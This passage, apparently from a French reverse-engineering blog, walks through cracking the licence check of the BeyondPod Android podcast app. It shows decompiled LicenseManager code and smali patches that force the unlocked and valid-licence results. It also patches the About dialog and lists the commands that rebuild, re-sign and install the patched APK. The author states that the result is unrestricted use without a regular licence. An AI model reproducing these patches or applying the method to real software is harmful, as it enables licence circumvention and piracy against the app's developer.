&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PokeKey&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GetLicenseKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;_Key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IsUnlocked&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IsKeyInstalled&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PokeKey&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CheckAndNotifyIfInRestrictedMode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IfInRestrictedMode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* affiche un message Toast */&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CurrentLicenseKind&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IsUnlocked&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GetLicenseTypeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StringUtils&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_UNKNOWN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Beta Tester&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_BETA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Android Market&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_ANDROID_MARKET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;PayPal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_PAYPAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IfInRestrictedMode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;setLicenseTypeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_EXPIRED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;TrialExpirationDate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compareTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_TRIAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LICENSE_TYPE_OTHER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le contournement de cette protection est dès lors trivial: Il suffit de patcher quelques routines pour retourner les bonnes valeurs, en l'occurence:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public static CurrentLicenseKind()I
    .registers 3

    .prologue

    const/4 v1, 0x1
    return v1
.end method

.method public static IfInRestrictedMode()Z
    .registers 3

    .prologue
    const/4 v2, 0x0
    return v2

.end method

.method public static IsUnlocked()Z
    .registers 1

    .prologue

    const/4 v0, 0x1
    return v0

.end method
&lt;/pre&gt;
&lt;p&gt;De cette manière, le programme va croire que la licence est valide, et l'on peut observer que le menu &amp;quot;Purchase Unlock Key&amp;quot; a disparu.&lt;/p&gt;
&lt;img alt="Unlocked ..." src="/images/unlocked.png" /&gt;
&lt;p&gt;Mais il reste toutefois dans le About une mention au sujet d'une date d'expiration &amp;quot;Expires ...&amp;quot;. Il s'agit ici d'un problème purement graphique, la boîte de dialogue appelant simplement la méthode &lt;em&gt;GetLicenseKey&lt;/em&gt; de la classe &lt;em&gt;LicenseManager&lt;/em&gt;.&lt;/p&gt;
&lt;img alt="Date d'expiration" src="/images/expires.png" /&gt;
&lt;p&gt;Voici le code smali incriminé:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.line 94
    invoke-static {}, Lmobi/beyondpod/rsscore/rss/LicenseManager;-&amp;gt;GetLicenseKey()[Ljava/lang/String;

    move-result-object v4

    .line 95
    .local v4, license:[Ljava/lang/String;
    if-eqz v4, :cond_b2

    array-length v8, v4

    if-le v8, v10, :cond_b2

    .line 96
    new-instance v8, Ljava/lang/StringBuilder;

    const-string v9, &amp;quot;Licensed to: &amp;quot;

    invoke-direct *v8, v9*, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;(Ljava/lang/String;)V

    [...]

    .line 98
    :cond_b2
    new-instance v8, Ljava/lang/StringBuilder;

    const-string v9, &amp;quot;Expires &amp;quot;

    invoke-direct *v8, v9*, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;(Ljava/lang/String;)V
    invoke-static {}, Lmobi/beyondpod/rsscore/rss/LicenseManager;-&amp;gt;TrialExpirationDate()Ljava/util/Date;
    move-result-object v9
    const-string v10, &amp;quot;MMM d yyyy&amp;quot;
    invoke-static *v9, v10*, Lorg/apache/http/impl/cookie/DateUtils;-&amp;gt;formatDate(Ljava/util/Date;Ljava/lang/String;)Ljava/lang/String;
    move-result-object v9
    invoke-virtual *v8, v9*, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v8
    invoke-virtual *v8*, Ljava/lang/StringBuilder;-&amp;gt;toString()Ljava/lang/String;
    move-result-object v8
    invoke-virtual *v6, v8*, Landroid/widget/TextView;-&amp;gt;setText(Ljava/lang/CharSequence;)V
&lt;/pre&gt;
&lt;p&gt;Nous pouvons donc le patcher correctement, voire même l'améliorer afin d'afficher le texte &amp;quot;Licensed To&amp;quot; suivi d'un texte customisé:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.line 94
    invoke-static {}, Lmobi/beyondpod/rsscore/rss/LicenseManager;-&amp;gt;GetLicenseKey()[Ljava/lang/String;

    move-result-object v4

    .line 95
    .local v4, license:[Ljava/lang/String;

    .line 96
    new-instance v8, Ljava/lang/StringBuilder;

    const-string v9, &amp;quot;Licensed to: &amp;quot;

    invoke-direct *v8, v9*, Ljava/lang/StringBuilder;-&amp;gt;&amp;lt;init&amp;gt;(Ljava/lang/String;)V

    const-string v9, &amp;quot;Virtualabs.fr =)&amp;quot;

    invoke-virtual *v8, v9*, Ljava/lang/StringBuilder;-&amp;gt;append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v8

    invoke-virtual *v8*, Ljava/lang/StringBuilder;-&amp;gt;toString()Ljava/lang/String;

    move-result-object v8

    invoke-virtual *v6, v8*, Landroid/widget/TextView;-&amp;gt;setText(Ljava/lang/CharSequence;)V
&lt;/pre&gt;
&lt;p&gt;De cette manière, la boite de dialogue affichera &amp;quot;Licensed To: Virtualabs.fr =)&amp;quot;, au lien de &amp;quot;Android Market&amp;quot; (texte qui s'affiche normalement quand vous enregistrez l'application via le market).&lt;/p&gt;
&lt;img alt="Boite de dialogue &amp;quot;A propos&amp;quot;" src="/images/about.png" /&gt;
&lt;p&gt;Comme vous pouvez le remarquer, il est vraiment aisé de modifier le fonctionnement du programme, d'ajouter une chaîne de caractères, et de la concaténer à une chaîne existante.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Compilation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nous avons vu comment analyser le code source smali, et comment le modifier de manière à changer le comportement d'un programme. Il est donc temps de &amp;quot;compiler&amp;quot; notre code source modifié de manière à intégrer nos modifications. Pour cela, nous utilisons &lt;em&gt;smali&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ java -Xmx512m -jar smali-1.2.4.jar ~/beyondpod/disass/
$ cp ~/beyondpod/out.dex ~/beyondpod/apk/classes.dex
$ cd ~/beyondpod/apk/
$ zip mobi.beyondpod_patched.apk -r ./*
$ jarsigner -keystore virtualabs.keystore -alias virtualabs mobi.beyondpod_patched.apk
&lt;/pre&gt;
&lt;p&gt;Ces quelques commandes patchent le fichier classes.dex avec le DEX recréé par Smali, puis reconstruisent le package APK, et enfin le signent ]avec une clef du keystore Java (cf. [APKSIGN]). De là, on peut aisément déployer l'application sur un téléphone connecté:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ./adb push ~/beyondpod/apk/mobi.beyondpod_patched.apk /sdcard/
&lt;/pre&gt;
&lt;p&gt;Il ne reste plus qu'à l'installer (via un FileManager), et utiliser la version patchée, qui n'est plus limitée dans le temps, et cela sans licence régulière.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mots de la fin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Smali et Baksmali sont des outils très puissants, qui permettent de manipuler en profondeur les APKs utilisés par Google. Non seulement le cracking simple est possible, mais la customisation/correction de bug est tout à fait accessible, et ne nécessite pas de grosse bidouille. Certes, il faut se familiariser avec le code assembleur produit par smali (code assembleur relatif à dalvik), mais les possibilités sont énormes.
Les plate-formes embarquées sont assez souvent oubliées des reversers, et ces deux outils pourraient peut-être ouvrir certains horizons aux reversers fous (n'est-ce pas Baboon, tu pourrais tronçonner de l'APK :), pour ma part j'avoue que je me suis pas mal amusé sur ce petit exemple, bien que l'aboutissant soit relativement simple.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bibliographie&lt;/strong&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://code.google.com/p/smali/"&gt;JFSMALI] [http://code.google.com/p/smali/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html"&gt;DALOPCODE] [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[SMARTFR] [&lt;a class="reference external" href="http://wiki.smartphonefrance.info/reversing-android.ashx-"&gt;http://wiki.smartphonefrance.info/reversing-android.ashx-&lt;/a&gt;&amp;gt;http://wiki.smartphonefrance.info/reversing-android.ashx]&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://developer.android.com/sdk/index.html"&gt;ANDSDK] [http://developer.android.com/sdk/index.html&lt;/a&gt;&lt;/li&gt;
